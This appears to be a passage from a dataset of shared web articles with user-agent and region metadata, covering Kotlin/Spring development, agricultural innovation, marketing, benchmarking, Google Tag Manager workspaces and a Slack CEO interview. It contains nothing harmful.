of our tables with a type-safe SQL API quite handy to use (autocomplete, refactoring and error prone): It is interesting to notice that Exposed does not support natively PostGIS functionalities like geometry types or geospatial requests. That's where Kotlin extensions shine, and allow with a few lines of code to add such support without requiring to use extended classes: Repositories Update : we are now able to use Exposed @Transactional support ! Transaction management is simply configured with @EnableTransactionManagement annotation and a PlatformTransactionManager bean in the Application class. Our repositories are also quite short and very flexible, since they allow you to write any kind of SQL request even with complex WHERE clause with a type-safe SQL API. Please notice that since we are using Spring Framework 4.3, we no longer need to specify an @Autowired annotation in such single-constructor class . Controllers Controllers are also very concise and use Spring Framework 4.3 upcoming @GetMapping / @PostMapping annotations which are just method-specific shortcuts for @RequestMapping annotations: The client side is a pure HTML + Javascript application developed with OpenLayers mapping library (see index.html and map.js for more details) that geolocalizes you and creates geolocalized messages sent/received to/from other users thanks to Server-Sent Events. And last but not least, the REST API is fully tested and documented thanks to the awesome Spring REST docs project, see MessageControllerTests and index.adoc for more details. Conclusion The main impression I had developing this application is that it was fun, efficient, with a high level of flexibility and safety provided by the SQL API and Kotlin type system and null safety . The resulting Spring Boot application is a 18 MBytes self-contained executable jar with low memory consumption (the app can run with -Xmx32m !!!). Using Spring REST docs was also a pleasure, demonstrating again Kotlin nice Java interoperability. The few pain points I have encountered ( array annotation attributes , Java 8 Stream support , full callable reference support ), are planned to be fixed in Kotlin 1.1. Exposed library is still young and need to mature, but from my point of view it is promising and shows how Kotlin could be used for building type-safe DSL API ( this HTML type-safe builder is also a good example). And keep in mind that officially supported Spring Data projects works well with Kotlin as shown in the spring-boot-kotlin-demo project in my previous blog post . If you happen to be in Barcelona mid May (never a bad time to be in Barcelona anyway!), don't miss the chance to join the Spring I/O conference . Also, the registration for SpringOne Platform (early August, Las Vegas) has opened recently, in case you want to benefit from early bird ticket pricing. The latter is also still open for talk proposals. So if you're interested to give a talk about Spring or Pivotal-related technologies, feel free to submit!",en
1477479634,CONTENT SHARED,-4163754746025598258,1120069409160402054,-2970059931898758199,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www2.deloitte.com/au/en/pages/consumer-industrial-products/articles/cross-industry-innovations-for-agriculture.html?utm_source=Marketo&utm_medium=newsletter&utm_campaign=agb-cross-industry-innovation-1016&utm_content=web,"Cross-industry innovations for agriculture | Deloitte Australia | Consumer & Industrial products, Technology","Cross-industry innovations for agriculture Inspirations from outside the box Agriculture has a proven track record of developing and adopting new innovations to improve on-farm productivity and efficiency, enhance product quality, and open up new markets. Facing disruptive changes, the industry needs to look within and also beyond itself for innovations to identify innovations that can maintain (and even extend) its competitive position. The Rural Industries Research and Development Corporation (RIRDC) engaged Deloitte Access Economics, through RIRDC's National Rural Issues Program, to identify transformative innovations with potential for adoption by Australian agribusinesses. Deloitte cast the net widely. From a long list of approximately 100 innovations across the economy, six cross-industry innovations were shortlisted based on their potential for application to Australian agribusiness. In this Bulletin, we discuss those shortlisted innovations, touching on their description, origin, catalysts, barriers and opportunities for agriculture. For more details on these innovations and the study behind their selection, please refer to the RIRDC website . Crowdfunding Crowdfunding is an alternative form of finance that enables the funding of projects or ventures by raising contributions from the general public via internet registries. Modern day crowdfunding started with Artistshare in 2001 as a platform for musicians to raise fund to produce digital recordings. Crowdfunding has been since applied in other sectors including creative arts, social causes, small businesses and start-up technology. Investment in Australian agribusiness is needed to exploit opportunities. Yet access to finance is often cited as a barrier to the required investment. Crowdfunding offers a solution. Catalysts : financing the gap between what can be raised through traditional means and the potential investment opportunities. Barriers : perceptions by investors on project size, lack of digital skills, red tape, and difficulty in pitching concepts using online platforms. Opportunities : improved access to finance, closer relationships with consumers, leading indicators on consumer demand and access to niche and emerging markets. Big data Big data analytics can reveal insight and strategy from examining large, dynamic data sets to uncover patterns, correlations and trends. From early applications in financial services, healthcare and retail sectors it has grown to a US$125 billion global market in 2015. Catalysts : increasing ease of collecting data, productivity and efficiency gains in a competitive landscape, and automation. Barriers : high investment and infrastructure costs, knowledge gaps, collating a variety of public and private sources of data, and connectivity to the internet. Opportunities : improved efficiency of input use, increased yields, optimised pricing, purchasing, sales channels, and capital allocation decisions. Robots and automation Robots are machines that can perform repetitive and labour-intensive operations. Modern robotics began with the development of Unimate, a robotic arm that could be programmed to perform numerous tasks in 1954. The key sectors that have readily adopted this innovation include manufacturing, defence, transport and logistics. Catalysts : high labour costs, enhanced computing power, lower cost of sensors, and productivity gains from more precise production processes. Barriers : high initial investment costs, complexity of agriculture's working environment including exposure to weather conditions, and connectivity to the internet. Opportunities : reduced reliance on labour with potential broader efficiency benefits, improved resource utilisation (e.g. in precision agriculture) and as a source of additional information for improved decision making. Nutritional genomics Nutritional genomics seeks to use genetic information and diet to inform targeted health outcomes. To date, the innovation has been developed and applied in the health sector. Catalysts : demand for personalised diets, decreased cost of genomic analysis. Barriers : knowledge gaps (in linking genetics and diet to health outcomes) and commercial lag time (to commercial product release). Opportunities : service consumer preferences for food with particular nutritional characteristics, new livestock breeds and crop varieties, personalised animal or plant feed and nutritional intake. Interestingly, while nutritional genomics in human health is often applied to optimise diet for weight control, in livestock it has most potential to do the opposite, i.e. improving weight gain. Microgrids Microgrids are small-scale, locally controlled electricity generation and distribution networks. They can be operated in a controlled, coordinated way independently or in parallel with the main power network. Early adopters of this innovation include mining sites, universities, defence facilities, and residential and commercial precincts. Catalysts : demand for secure, reliable and better quality energy supply in remote and rural areas. Barriers : inconsistent or insufficient legal and regulatory definition to adopt microgrids at a greater scale, lack of standardised approach to measure lifecycle costs (and therefore benefits), low level of standardisation in safety standards and codes, high costs of integrating with existing technology and mainstream power sources. Opportunities : cost effectiveness and ease of integration of renewable generation sources compared to traditional energy networks, increased supply flexibility and scalability, and increased energy efficiency. GPS trackers GPS trackers use the Global Positioning System to track the precise location of the device (and the person, animal or object it is attached to). Trackers are already widely used by sectors such as transport, logistics, ecological research and high-performance sports. Catalysts : decreasing cost, smarter GPS technology, part of an emerging trend towards greater locational awareness. Barriers : cost of technology, complexity of integrating with other technologies (e.g. yield monitoring), and connectivity with other devices and/or the internet. Opportunities : more precise use of agricultural inputs, greater visibility of the utilisation, efficiency and location of plant & equipment, proactive maintenance of plant & equipment, proactive decision making for farming activities, and improved traceability of farm produce. What do we learn from these innovations? Agriculture can find innovative inspirations from a variety of sectors, not only traditional 'high-tech' sectors such as manufacturing and mining, but also creative arts, finance and health care. Innovations are driven by various factors, with efficiency, competition and the advancement of digital technologies being the key enablers. The true value of these innovations is often unlocked when they are combined. For example, GPS enabled robotics informed by Big Data can perform targeted on-farm weeding, irrigating or fertilising. The world is transitioning to a knowledge economy. Change is coming, and disruption to traditional ways of producing food and fibre is inevitable. Agribusinesses that do not innovate and adapt to the times will eventually fall behind.",en
1477480152,CONTENT SHARED,-1072987232233605661,1120069409160402054,-2970059931898758199,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://br.udacity.com/events/ibm-watson-e-inteligencia-artificial/,IBM Watson e a revolução pela inteligência artificial | Udacity,"Watson é o sistema de inteligência artificial da IBM que já está revolucionando a maneira como tomamos decisões. De fato, machine learning e a computação cognitiva permite às pessoas a utilização de análises mais complexas e precisas, encontrando alternativas e insights anteriormente escondidos em um grande volume de dados.",pt
1477483375,CONTENT SHARED,-3267081294086663175,-1032019229384696495,7952917897813063409,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.21 Safari/537.36",NY,US,HTML,https://www.fastcodesign.com/3064900/microsofts-digital-post-it-is-powered-by-your-offices-horrible-lighting,Microsoft's Digital Post-It Is Powered By Your Office's Horrible Lighting,"Offices are littered with Post-it notes. Some argue for their greenness , others aren't so convinced . But in any case, a tiny reusable display might make a better alternative in the long term-if only it didn't require any extra power. And it so happens, scientists at Microsoft Research have developed just that. Featured in New Scientist , and dubbed an "" energy harvesting situational display ,"" Microsoft's invention is a Post-it sized chunk of e-paper, the same stuff used in Amazon's Kindles. And simply through some solar panels placed on the display's back, it can generate enough electricity to not only run continuously simply by sipping on the ambient light inside an office, but to actually update its display anywhere from two to sixty times per hour, depending on light levels. Calculators have operated off internal lighting for decades, but their LCD displays require a constant power flow to stay active, which takes up precious voltage needed for any other advanced functions. Microsoft used e-paper instead, which draws virtually no energy to hold an image, and expends it mostly only to update the image. However, that energy is largely dependent on the screen's resolution-so by keeping the display at around 100 pixels, it can update within the limitations of indoor light. This also leaves extra energy leftover, for Microsoft to divert to a radio antenna instead, meaning that its Post-it is actually Bluetooth-connected, too, and can be updated via a phone or tablet. The display still lacks the quick, note-jotting UX of a good old Post-it note. However, the research is still important for two reasons. For one, it's a proof-of-concept of a display that could be both connected and always-on, without access to power, which could be useful in a number of contexts beyond the office. One example Microsoft offers is placing such a display on a bike, assumably to tell you speed or simple directions. And given that e-paper only reads better in the sun, outdoor use makes a lot of sense. Secondly, Microsoft has also demonstrated that its displays can serve as beacons for augmented reality applications. So when you mix these tiny displays with something like Microsoft's Hololens headset , suddenly this very low resolution screen can actually anchor very high fidelity, virtual information into your view. Or, in other words, this power-free electronic Post-it could contain not just a quick doodle, but an entire library of information inside, floating just a glance away.",en
1477483724,CONTENT SHARED,4647928672998188259,-5639303336519418445,6237647241602254016,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.thinkwithgoogle.com/articles/consumer-journey-path-to-purchase.html,7 Ways to Win Consumers on Their Path to Purchase,"The path to purchase, from start to finish, is rarely linear-it's more akin to a scavenger hunt. Along the customer journey, one search can spark an entirely new idea or want. And one search can make the difference between your brand and the competition. In new clickstream data from Luth Research's opt-in panel, 1 which shows the online pages a user visited, it's clear that moments of intent don't exist in a vacuum. Those moments belong to complex people who live complex lives. 1. Consider location and convenience [[inline-image-1]] Marcus is a 27-year-old man from Ohio who was looking to buy his girlfriend collegiate apparel as a graduation gift. Marcus debated between local campus bookstores and Amazon. In a follow-up interview, he said he was looking for the best Bearcats gift but ideally wanted to pick up the present at the graduation in Cincinnati. Though Marcus was looking for a great gift, he was also prioritizing convenience and location. In a world where consumers expect to have everything at their fingertips, brands and retailers must offer flexible delivery and pickup options to clinch the sale. Key takeaway: Consider targeting by location to reach people not only while they're on the go but also based on where they are. Highlight your delivery options in your messaging and be sure to show your product inventory online so that customers can easily see what's in stock and where. 2. Count on an informed consumer [[inline-image-2]] Liam, age 30, is an avid traveler from Maine. In just one month, he had nearly 3,000 online interactions related to travel, with approximately one-third of them related to a specific New York City trip. Whether he was searching for travel options between New York and Portland, Maine, or looking for the studio that tapes ""The Daily Show,"" Liam was thorough. In just one month, he conducted nearly 100 searches about The Roosevelt Hotel. And yet, he continually returned to Expedia to search for hotels in Manhattan. With the volume of information online, consumers are now more informed than ever before. Brands have to embrace this new reality and be prepared. Key takeaway: Ads don't always have to center on a transaction. Be helpful throughout the research process and establish your brand as a trusted resource early on. 3. Expect that search will lead to discovery [[inline-image-3]] Stacy is a pregnant 32-year-old mother of two children. As she prepared for life with three young children, Stacy set out to find a car that would fit three car seats and plenty of family gear. For Stacy, search was a means of discovery. While she was interested in one brand initially, she wasn't committed to it. Stacy was actively looking for guidance and ultimately discovered another minivan manufacturer that also met her needs. Key takeaway: As you refine your understanding of the customer journey, consider the moments you want to capture at every step of the way. Think beyond the last click. 4. Think about complementary categories [[inline-image-4]] Serenity, 34, was planning a trip to Beverly Hills. Unfamiliar with the neighborhood and the city of Los Angeles, she went online to learn more about the area. She searched specific restaurants, celebrity tours, and even what to wear in Los Angeles. Serenity's search behavior shows a domino effect. In this case, travel plans led to her wanting to know what people wear in Beverly Hills, which then led her to shop for new, fashionable clothes. Marketers who see the connection between their products and services and complementary categories will be better able to reach consumers in the right moment. Key takeaway: Think about your customers holistically and know that one seemingly unrelated search could trigger interest in your brand. Consider partnering with related brands in different (but connected) verticals to reach similar audiences. 5. Prepare for the unexpected [[inline-image-5]] Tiffany is a 37-year-old mother of three from Minnesota. During the holiday season, she had hundreds of digital interactions with various retailers. A clickstream path from Thanksgiving Day shows how Tiffany moved from looking for a ""leather sectional couch"" to shopping for lamps. Her attention shifted from couches to lamps when she realized Walmart and Target both sold those products. From there, Tiffany went on the hunt for a lamp, browsing different brands and retailers, including target.com, as she looked for the best product at the best price. Key takeaway: Keep an eye on the customer journey and maximize your presence in those places where people may change course and consider related products. 6. Don't underestimate the power of reviews [[inline-image-6]] Leena, a 32-year-old from Washington, regularly checks Groupon, RetailMeNot, and other deal sites as she hunts for sales and coupons. When Leena ran out of mascara, she went to eBay to look at different brands, then used search to zero in on the brand she wanted, reading reviews along the way. According to a video interview, Leena had only purchased drugstore mascara in the past but wanted to find a longer-lasting product at a better value. She considered two brands, Too Faced and Benefit, and said she decided on Benefit, in part, because of the positive reviews. Key takeaway: Embrace the importance of ratings and consumer perception online. Consider building these into your ads and messaging. 7. Remember the world is mobile-first [[inline-image-7]] Arthur, a 66-year-old retiree from Missouri, enjoys going on cruises to faraway destinations with his wife. With a retirement income and time to spare, Arthur is always open to travel deals and impromptu getaways. During a three-month period, Arthur had nearly 250 travel-related interactions online-with 50% of those occurring on mobile. Though he often books with a travel agent, Arthur also relies on his smartphone to plan his next adventure. From browsing for deals with his favorite Norwegian Cruise Line to checking his IHG Rewards, Arthur is turning to the small screen for big plans. Key takeaway: Recognize the role that mobile plays in the research process. Orient your messaging and targeting plans around a cross-device customer. Sources 1 Google/Luth Research, U.S., methodology: Google partnered with Luth to analyze the digital activity of its opt-in panel participants. The data was analyzed between April and August 2016. This article details the cross-device clickstream data of seven participants: Marcus, Liam, Stacy, Tiffany, Serenity, Leena, and Arthur.",en
1477485117,CONTENT SHARED,1115750778137998115,3609194402293569455,-4897991768460846404,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://saiadolugar.com.br/o-que-e-benchmarking/,O que é benchmarking? Veja quando um concorrente se torna inspiração!,"Ao abrir uma empresa, uma das primeiras coisas a fazer é uma análise de mercado e, principalmente, dos concorrentes. Embora seja mais complexa e dependa de vencer alguns preconceitos, a prática do benchmarking não é muito diferente dessa análise inicial. Talvez o mais difícil ao aplicá-la, no entanto, seja evitar copiar procedimentos que não fazem sentido algum só porque dão certo. Ou, no extremo oposto, convencer o seu time de que eles não precisam torcer o nariz para um concorrente só porque os processos ou resultados dele são melhores. Além de ser uma forma de se manter competitivo, o benchmarking já salvou empresas da falência e transformou organizações de médio porte em grandes corporações. Não à toa dedicamos este post a ele. Continue a leitura e saiba outras vantagens dessa prática, além das diferentes formas de colocá-la em prática. O que é benchmarking Em termos simples, você pode pensar no benchmarking como um ""ponto de referência"" ou um exemplo a se seguir. A grande diferença é que essa referência ou modelo vem justamente de um dos seus - talvez o seu maior - concorrente. Sim, isso mesmo: na área em que você atua deve haver aquela empresa líder em processos, resultados e faturamento. E não há nada de vergonhoso em analisar e aprender com o sucesso de um concorrente. Pelo contrário, essa é uma constante no mundo empresarial. Claro, se não tiver senso crítico, você pode acabar apenas copiando o que os outros fazem e aplicando sem nenhum critério. Isso seria uma grande perda de tempo, já que o maior talento de quem faz um bom benchmarking é saber até que ponto as práticas de um concorrente se aplicam na sua empresa. Em poucas palavras: fazer benchmarking tem muito mais a ver com inspiração do que com cópia. A maior prova disso é que há casos em que empresas buscam ideais de melhorias observando os processos de outra, mesmo ambas pertencendo a setores completamente diferentes. Num caso como esses, pode ser que nem mesmo concorrentes as duas organizações sejam. Para que ele serve e como ajuda um negócio Se fizer uma pesquisa na internet sobre o tema, você vai encontrar diversos motivos para adotar o benchmarking. Muita gente chega a citar uma antiga frase do filósofo chinês Confúcio, que diz que se você conhecer a si mesmo e também o seu inimigo, ganhará cem batalhas. Muito mais do que vencer uma guerra e aniquilar o seu ""inimigo"", contudo, é bom que o seu objetivo seja mais modesto e sóbrio: deixar seus clientes satisfeitos e ser bem pago por isso. O benchmarking ajuda a quebrar a inércia Principalmente quando as coisas vão bem, é comum que empresas de qualquer porte fiquem estagnadas. Como há uma fatia de mercado garantida e o lucro parece acontecer naturalmente, gestor e colaboradores começam a pensar que já fazem o melhor possível. Nesse tipo de situação, analisar os números de uma concorrente que esteja voando baixo pode ser um balde de água fria num primeiro momento. Mas, logo em seguida, vai sacudir os brios de todos e colocá-los em movimento novamente. Falar em ""inimigo comum"" num cenário como esse é realmente exagerado. Mas compartilhar um objetivo é capaz de unir colaboradores e líderes de uma forma que nada mais pode fazer. O benchmarking leva ao autoconhecimento Não tem jeito. Olhar para os nossos erros dói. E não existe um espelho melhor do que um concorrente que faz tudo mais rápido, melhor e com menos custos que você. Ele vira um remédio amargo contra o seu autoengano. Várias melhorias podem surgir das suas crises existenciais como gestor e tirá-lo do lugar. Quando se encontrar numa situação como essas, você saberá o que fazer: analisar os seus concorrentes e aprender lições de como melhorar seus produtos, serviços, logística, gestão e qualquer outro ponto que não esteja próximo da excelência. Ele te dá conhecimento de mercado Examinando a fundo, dá pra ver que há empresas que são razoavelmente bem-sucedidas mas não têm conhecimento do mercado . E sabe como isso é possível? O que acontece é que elas desenvolveram um mecanismo que deu certo e pronto. Empreendimentos assim costumam tomar decisões muito mais baseadas no ""feeling"" do líder do que em análises de mercado propriamente ditas. Nada de mal com isso. Mas a excelência não vem dessa forma e sim por meio de um criterioso estudo dos ""players"" da sua área. Quais são os tipos de benchmarking Há algumas formas mais comuns de se fazer benchmarking, cada uma com uma finalidade diferente. Vamos conhecê-las: Benchmarking competitivo Este é o modelo clássico em que uma empresa usa uma outra que tem altos padrões de excelência como modelo. Nunca é demais repetir: se você fizer um estudo dos casos de maior sucesso dessa prática, vai ver que o melhor é usar alguns procedimentos para se inspirar, em vez de copiá-los inadvertidamente. O principal é absorver a lógica por trás do sucesso de um processo e não cada uma de suas etapas. Benchmarking interno Muito comum quando uma empresa já oferece um produto ou serviço de boa qualidade e quer que alguma filial ou franquia tenha os mesmos resultados. É um tipo muito fácil de fazer, já que não se corre o risco de a empresa de onde essas informações vêm tentar ""esconder o jogo"". Benchmarking funcional Nada impede, também, que você use os padrões e informações que funcionam e um dos setores da sua própria empresa para melhorar outros. Se você é um micro ou pequeno empresário, basta dar uma olhada em algumas boas práticas desse setor campeão e experimentá-lo em outras áreas você mesmo. Empresas maiores costumam estimular a troca de informações entre colaboradores e gestores para que isso aconteça. Benchmarking colaborativo Entre concorrentes, é muito comum um receio de compartilhar as ""receitas de bolo"" do sucesso. Mas há casos interessantes em que esse sentimento é colocado de lado e uma troca de ideias sadia e cooperativa beneficia ambas as partes. Mais comum, porém, é que o benchmarking colaborativo seja feito entre empresas de setores diferentes. Ele é uma forma de arejar o ambiente de trabalho com ideias novas. E costuma dar ótimos resultados, por sinal. Benchmarking na prática Para ser aplicado na prática, o benchmarking pode ser dividido em algumas etapas. Entenda: Análise dos seus próprios processos Primeiramente, é preciso fazer uma análise criteriosa dos seus próprios mecanismos e identificar aqueles com os quais você próprio não está satisfeito. Você sabe os motivos disso? Se não, vai poder descobri-los nas próximas etapas. Escolha uma organização que seja uma referência Em seguida, deve-se escolher a empresa que se pretende tomar como modelo. Um aspecto que poucos levam em consideração nesse momento é que, em alguns casos, essa empresa não é necessariamente a mais bem posicionada no mercado. O que você precisa é que ela tenha um desempenho alto especificamente naquele aspecto que você quer melhorar. Por exemplo: se deseja aprimorar a capacitação da sua equipe, deve procurar uma empresa que tenha o maior nível de excelência nisso. Não necessariamente ela será a mais bem-sucedida de todo. Consiga as informações A partir daí, vai ser necessário levantar as informações sobre a empresa que escolheu. A maior parte dessas organizações não vai cedê-las de bom grado. Como você pretende consegui-las? Não ignore fazer uma proposta de benchmarking colaborativo. Compare e aplique A etapa final é comparar-se com essa empresa e verificar as possibilidades de mudança que estão ao seu alcance. É bom pensar desde o início que, se a organização que você estabeleceu como ponto de referência não é do mesmo porte que a sua - se eles são uma grande corporação e você é uma MPE, por exemplo - muita coisa pode simplesmente não se aplicar. E não perca de vista, desde o início, as dificuldades que podem aparecer: boas chances de haver uma resistência da sua equipe ou seus sócios a esse tipo de coisa (pode ser que eles não queiram mudar a forma como trabalham por comodismo ou rivalidade com a empresa em questão). Conclusão Como vimos, há inúmeras vantagens de ser fazer benchmarking. Só para relembrar alguns: aprender com um modelo de excelência, evitar o sentimento de desdém dos seus funcionários para com um modelo superior só porque ele é do seu concorrente, quebrar a inércia e dar uma motivada nos colaboradores, adquirir conhecimento do mercado e de si mesmo. Se conseguir pensar nessa prática como uma forma de encontrar inspiração para melhorar, pode ter certeza de que estará no caminho certo. É esse tipo de pensamento que vai evitar que você copie procedimentos que, embora funcionem em outros lugares, não têm nada a ver com o seu tipo de negócio, tamanho da empresa ou modelo de gestão. O importante é usar os meios que estão à sua disposição para melhorar o que for preciso. No fundo, foi também por causa da excelência que você quis empreender, não foi? E para saber adaptar os processos que já dão certo com as novidades, que tal conhecer o nosso Guia da inovação: veja como manter o seu negócio sempre atualizado ? Misturando práticas de benchmarking que você sabe que funcionam e uma boa dose de inovação, você vai se tornar um caso de sucesso!",pt
1477485681,CONTENT SHARED,2441555519716118559,-5639303336519418445,6237647241602254016,"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://metricasboss.com.br/google-tag-manager-workspace-como-funciona.html,Google tag manager Workspaces - Como funciona?,"Como muitos perceberam o google tag manager mudou e entrou de vez ""Enterprise game"". Se você acompanha a comunidade , ou o fórum do google tag manager deve ter percebido a quantidade pedidos por um google tag manager mais multi-user e multi-time. Bem o Google deu um salto gigantesco para aliviar estas preocupações, com o lançamento do seu mais recente recurso: WORKSPACES. Bem mais não foi só essa funcionalidade que foi implementada, o time do GTM aproveitou para dar uma boa recapitulada no layout, mudando o processo de criação de variáveis e acionadores. Iremos ver no próximo post um pouco das mudanças que tiveram no layout fiquem calmos :D O que são Workspaces? WORKSPACES, para ajudar você entender o que está em volta dessa nova funcionalidade, vamos voltar um pouco para a versão anterior do google tag manager onde nós tínhamos os containers. Pois bem, o antigo container nada mais era a imposição de se trabalhar apenas com um workspace. Ou seja, todos os usuários dentro do mesmo container, atualizando, editando e excluindo TAGS, acionadores e variáveis. Tendo uma equipe pequena é muito fácil de se controlar, mas acredite se existe a possibilidade de dar merda vai dar merda e o que o workspace nos traz de melhor? ORGANIZAÇÃO! Com os WORKSPACES podemos trabalhar com multiplos rascunhos sem afetar a versão de produção, para quem está familiarizado com o GIT, ou qualquer outro sistema de versionamento o workspace é como uma nova branch. Tendo um rascunho separado, uma versão de debug e tags separadas da versão de produção. Dá uma olhada nesse excelente exemplo que o Simo Ahava fez e a gente traduziu: O container versão 1 (CV1) tem 2 Workspaces criados fora dele: WS1 e WS2. Ambos estão sendo trabalhados simultaneamente; WS2 é publicado, logo seu conteúdo se torna o novo Container versão 2 (CV2); O WS1 foi baseado no CV1 correto? Só que agora o novo container foi substituido pelo CV2, WS1 recebe uma notificação de que a mais recente versão do contêiner mudou e uma sincronização é necessária. WS1 é atualizado e não tendo conflitos ele segue normalmente a sincronização. Em seguida, o WS1 é publicado e passa a ser um novo Container versão 3 (CV3); WS2 foi baseada em CV2, que foi substituída por CV3, WS2 recebe a notificação de que ele precisa ser sincronizado com uma versão do contêiner mais recente. Então, WS2 é sincronizado, se não houver conflitos WS2 é publicada no novo Container versão 4 (CV4); Um novo espaço de trabalho é criado ( WS3 ), CV4 é a mais recente versão do contêiner, o workspace e CV4 têm conteúdo idêntico. Se nenhum novo trabalho ter sido feito para WS2 neste momento, todos os três ( WS2 , WS3 e CV4 ) são identicos. Viu, nada mais é que um sistema de versionamento de tags bem semelhantes ao que temos no GIT :) BONUS - Gerenciando workspaces (Criar, salvar, deletar) Criar um workspace é fácil. Vá até visão geral no seu container e clique em uma das 3 opções. Se você clicar em uma das três opções você entrará na tela de gerenciamento de worspace, ou gerenciar espaços de trabalho. Para criar um novo workspace é só clicar no icone + no canto superior direito. Percebeu um alerta no canto inferior direito? Então minha gente, como eu havia falado o GTM entrou de vez no Enterprise game e com isso a versão free limita a criação de workspaces para 3 apenas. Mas vamos voltar ao nosso workspace. Posso sair criando qualquer nome para meus workspaces? Pode, mas será que vai ser escalável? Não né, por padrão estou copiando uma convenção que vi na internet esses dias para a criação dos workspaces deixando eles da seguinte forma: Número da versão na qual ele foi criado - Funcionalidade implementada - Time/Agencia responsável LEMBRE-SE: Um boa opção é criar descrições para os workspaces, quanto mais informação melhor. Depois de adicionar o nome do seu worspace clique em salvar no canto superior direito. Logo após a criação do seu workspace você é automaticamente transferido para trabalhar em cima do mesmo, lembrando que o novo workspace foi criado em cima da ultima versão do container e não no rascunho do workspace anterior. Para deletar um workspace, voce precisa abrir o gerenciamento de workspace e clicar no botão de informação no item que você quer excluir. Na tela que abriu você pode alterar as informações do seu workspace (nome, descrição), no canto superior direito tem um botão ao lado do botão salvar, ao clicar nele aparecerá a opção Excluir. Conclusão O workspace traz o google tag manager de vez para o jogo das ferramentas de marketing, atendendo os seus usuários os workspaces deixam além de mais organizado, mais escalável o trabalho multi-usuário e multi-time/agencia. Esse não vai ser nem o primeiro nem o ultimo post falando sobre essa nova funcionalidade, sempre que puder vamos trazer padrões e conceitos do uso dessa ferramenta que a gente ama <3 Até a proxima.",pt
1477487078,CONTENT SHARED,-4270702541777554377,-1032019229384696495,7952917897813063409,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.21 Safari/537.36",NY,US,HTML,http://www.wsj.com/articles/slack-ceo-stewart-butterfield-on-the-future-of-communication-1477405213,Slack CEO Stewart Butterfield on the Future of Communication,"WSJ: Are we headed toward a future that's split and fragmented between platforms? Slack for your colleagues, email for your business contacts, iMessages from Mom, Snapchats from your younger friends-something like that? STEWART BUTTERFIELD: I think so. There's a kind of idealist who thinks we have to consolidate all these different platforms into one because they only want to check one thing. To me that sounds like, ""I've got to use Photoshop to edit photos and Excel to make a spreadsheet? What a pain. If only there was one application for both."" But imagine how terrible that software would be to use. Those applications have their own place. Snapchat made something possible that wasn't possible before. It's not replacing some behavior that we used to have. A year ago, I was boarding a flight behind a teenage girl who was dealing with her Snapchat queue. She was looking at photos for fractions of a second, smashing through stories and responding, taking selfies that she barely looked at and sending them off. It was really intense. And it's not like she could have done that with email. Will emojis and visual items besides words be a part of communication in the future, or is that just a novelty? I think the particular ways people use them right now are probably a novelty. But the more facility we have with conjuring up the specific image that we want, the more likely it is that images will be part of people's expression . In John Locke's letters 350 years ago, he didn't use any animated GIFs because he couldn't. I'm not saying that he would have written letters in animated GIFs, but if he could have dropped a photo in to illustrate a point, he totally would have. When someone tweets a picture of a cat that looks super sad and adds, ""Me rn,"" they're communicating to their social group that they're feeling depressed. You could say something functionally equivalent, like, ""Hey, everyone. I'm feeling pretty down right now."" But that has a totally different flavor. Whether it's static images, GIFs, Vines or short videos, people are using visuals for storytelling, for making jokes, for communicating how they're feeling. Do you see Slack as an email killer? I can see email lasting tens of thousands of years, as preposterous as that sounds. If email is ever killed, it will be replaced with something that has all its virtues and all its problems as well. It's an open system that anyone can participate in and that has a global name space. It's a protocol that's decades old and has thousands of clients that support it. It's how you get the receipt after your Uber ride and a billion other things. But I think email is a lunatic thing to use inside an organization. None of its basic virtues-that anyone can use it, that it's widely supported-matter inside a company. It's a heterogeneous mix of the receipt from Uber and the request for time off and an invitation to a surprise party from an old friend and my mom giving me an update and someone looking for a job. Going through all that is really taxing. If I'm not well rested, it's difficult for me to open my email. Is there a risk that with all these new communications tools we'll spend all our time communicating? I think it can be overwhelming in the same way that we went from a world where we had to work all day to get enough food to stay alive to one with essentially infinite free calories. That messes with us. People end up with diabetes. Similarly, we're suddenly able to communicate with anyone on the surface of the planet in progressively more complicated ways at the speed of light. There's something to be conscious of there. The extra power can be used for all kinds of things, and we don't immediately know how best to discipline ourselves. What role are chatbots going to play in how we communicate? Have you seen the movie ""Her""? Remember when she reveals to Joaquín Phoenix's character that she's simultaneously talking to thousands of other people and he's kind of heartbroken? That's the virtue of the bots. They're never going to get tired . They don't mind answering the same question for the 10 billionth time. I think huge breakthroughs can happen when bots are able to understand what we want and connect all the different systems. Imagine a world where your Slack team is integrated with Salesforce for CRM [customer resource management] and Workday for your HR systems and your accounting systems and your team directory and all the messages you've ever sent and all the customer-support tickets that have ever come in and every time someone has tweeted at you. Now imagine that you could ask all those systems a question. And it's a very basic information retrieval problem if your question can be understood. Today you don't have that experience inside the workplace. You have the office experience, where it's almost impossible to find any information that you want, and you fatigue all the people around you with your incessant questions about basic factual stuff that a chatbot could answer easily. I think that will free people up. That would be to knowledge workers what a backhoe is to someone who digs ditches. That's not a feature that we're going to launch next week but an industrywide evolution that's going to take a long time. You just keep seeing little bits of promise that are really encouraging. I think the future of communication is just continual exploration of all the possible modalities of communication, of recording things that happen in our world, of compositing things, of creating new things, composing. This interview has been condensed and edited.",en
